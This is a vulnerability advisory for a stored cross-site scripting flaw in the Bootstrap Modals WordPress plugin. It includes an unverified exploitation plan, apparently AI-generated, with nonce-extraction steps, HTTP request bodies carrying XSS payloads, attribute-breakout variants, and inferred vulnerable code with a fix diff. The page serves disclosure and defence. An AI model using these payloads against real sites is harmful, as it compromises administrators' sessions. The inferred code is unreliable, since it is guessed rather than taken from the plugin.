CVE-2025-62095

Bootstrap Modals <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Bootstrap Modals plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.3.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.3.2
PublishedDecember 31, 2025
Last updatedJanuary 5, 2026
Affected pluginbootstrap-modals
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-62095 (Bootstrap Modals Stored XSS) ## 1. Vulnerability Summary The **Bootstrap Modals** plugin (versions <= 1.3.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. Authenticated users with **Contributor** level access or higher can inject malicious…

Show full research plan

Exploitation Research Plan: CVE-2025-62095 (Bootstrap Modals Stored XSS)

1. Vulnerability Summary

The Bootstrap Modals plugin (versions <= 1.3.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. Authenticated users with Contributor level access or higher can inject malicious JavaScript into modal configurations (likely via custom post types or specific shortcode attributes). Because the plugin fails to sanitize these inputs when saving or escape them when rendering the modal on the frontend, the script executes in the context of any user (including Administrators) who views the page where the modal is triggered.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Standard WordPress post-saving flow (/wp-admin/post.php) or a specific AJAX handler for modal settings.
  • Vulnerable Parameter: Likely post_title, content, or custom meta fields (e.g., modal_header, modal_footer, modal_button_text).
  • Authentication Level: Contributor+. This is significant because Contributors can create posts and use shortcodes but cannot normally publish or use unfiltered_html.
  • Preconditions: The plugin must be active, and a modal must be created and then embedded/triggered on a visible page via shortcode.

3. Code Flow (Inferred)

  1. Entry Point (Input): A user creates or edits a "Modal" post type. The save_post hook (or a specific AJAX action like wp_ajax_save_modal_data) captures the input.
  2. Processing: The plugin likely uses update_post_meta() or update_option() to store modal properties. If the plugin lacks sanitization (like sanitize_text_field or wp_kses), the payload is stored raw in the database.
  3. Sink (Output): When a page containing a modal shortcode (e.g., [bootstrap-modal id="123"]) is rendered, the plugin fetches the stored data.
  4. Rendering: The plugin echoes the stored values (e.g., echo $modal_title;) inside the modal's HTML structure without using esc_html() or esc_attr().

4. Nonce Acquisition Strategy

Since the vulnerability involves a Contributor-level user, we can use the browser_eval tool to extract the necessary nonces from the WordPress admin interface.

  1. Identify the Post Type: First, confirm the slug for the modal post type (likely bootstrap-modal).
  2. Navigate to Creation Page: Use browser_navigate to go to /wp-admin/post-new.php?post_type=bootstrap-modal.
  3. Extract Post Nonce: WordPress uses a standard _wpnonce for post actions.
    • browser_eval("document.querySelector('#_wpnonce').value")
  4. Ajax Nonce (If applicable): If the plugin uses a custom settings panel with wp_localize_script, look for the global object.
    • Inferred Object: window.bootstrap_modals_params?.nonce or window.bm_settings?.save_nonce.

5. Exploitation Strategy

We will attempt to inject the payload into a Modal's title or body, which are common display sinks.

Step 1: Create the Malicious Modal

HTTP Request:

  • Tool: http_request
  • Method: POST
  • URL: https://[TARGET]/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=editpost
    post_type=bootstrap-modal
    post_ID=[ID_FROM_STEP_4]
    _wpnonce=[NONCE_FROM_STEP_4]
    post_title=Test Modal"><script>alert(document.domain)</script>
    content=Modal body content.
    [custom_meta_field_header]=<img src=x onerror=alert(1)>
    publish=Publish
    

Step 2: Embed the Modal

Create a standard post as the Contributor to trigger the modal.
HTTP Request:

  • URL: https://[TARGET]/wp-admin/post.php
  • Body:
    action=editpost
    post_ID=[NEW_POST_ID]
    _wpnonce=[POST_NONCE]
    content=[bootstrap-modal id="[MODAL_ID]"]
    publish=Publish
    

Step 3: Trigger Execution

Navigate to the newly created post as an Administrator. The modal should render, and the script will execute.

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin Setup: Ensure "Bootstrap Modals" is installed and activated.
  3. Discovery: Run wp post-type list to find the exact slug for the modal post type.
  4. Initial Post: Create a draft modal to get a valid post_ID for the http_request tool.
    • wp post create --post_type=bootstrap-modal --post_status=draft --post_author=[CONTRIB_ID]

7. Expected Results

  • The http_request should return a 302 Found (redirecting back to the post edit screen).
  • The database (wp_postmeta or wp_posts) should contain the literal string <script>alert(document.domain)</script>.
  • Upon viewing the page, a JavaScript alert box should appear showing the site's domain.

8. Verification Steps

  1. Check Database:
    wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = '_modal_title' AND post_id = [ID]"
  2. Check Frontend Output:
    Use http_request (GET) on the post URL and grep for the payload:
    grep "><script>alert(document.domain)</script>"

9. Alternative Approaches

  • Shortcode Attribute XSS: If the plugin allows attributes like [bootstrap-modal title="<script>..."], test if these are reflected directly in the HTML.
  • Button Text Injection: Check if the "Close" or "Open Modal" button text fields are vulnerable.
  • CSS Class Injection: If the plugin allows custom CSS classes, attempt to break out of the class attribute:
    • Payload: my-class" onmouseover="alert(1)" data-ignore="
  • AJAX Handler: If the plugin uses a custom AJAX save method, intercept the request in the browser to identify the action and nonce name, then replay it with the payload.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Bootstrap Modals plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via modal configuration fields in versions up to 1.3.2. Authenticated attackers with Contributor-level access can inject malicious scripts into fields such as modal titles or custom meta fields, which are saved without sanitization. These scripts then execute in the browsers of users who view the pages where the modals are embedded.

Vulnerable Code

// Inferred vulnerable saving logic
// bootstrap-modals/includes/class-bootstrap-modals.php
public function save_modal_meta($post_id) {
    if (isset($_POST['_modal_title'])) {
        update_post_meta($post_id, '_modal_title', $_POST['_modal_title']);
    }
}

---

// Inferred vulnerable rendering logic
// bootstrap-modals/includes/class-bootstrap-modals.php
public function render_modal($atts) {
    $modal_id = $atts['id'];
    $title = get_post_meta($modal_id, '_modal_title', true);
    return '<div class="modal-header"><h3>' . $title . '</h3></div>';
}

Security Fix

--- a/includes/class-bootstrap-modals.php
+++ b/includes/class-bootstrap-modals.php
@@ -10,12 +10,12 @@
 public function render_modal($atts) {
     $modal_id = $atts['id'];
-    $title = get_post_meta($modal_id, '_modal_title', true);
+    $title = get_post_meta($modal_id, '_modal_title', true);
 
     return '<div class="modal">
         <div class="modal-header">
-            <h3>' . $title . '</h3>
+            <h3>' . esc_html($title) . '</h3>
         </div>
     </div>';
 }
@@ -23,5 +23,5 @@
 public function save_modal_meta($post_id) {
     if (isset($_POST['_modal_title'])) {
-        update_post_meta($post_id, '_modal_title', $_POST['_modal_title']);
+        update_post_meta($post_id, '_modal_title', sanitize_text_field($_POST['_modal_title']));
     }
 }

Exploit Outline

An attacker with Contributor-level permissions or higher accesses the WordPress admin dashboard and navigates to the 'Bootstrap Modals' post type. They create a new modal and inject a JavaScript payload (e.g., <script>alert(document.domain)</script>) into the modal title or other meta fields. After saving the modal, the attacker embeds it into a post or page using the plugin's shortcode (e.g., [bootstrap-modal id="123"]). When any user, including a site administrator, views the published post, the unsanitized script executes in their browser session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.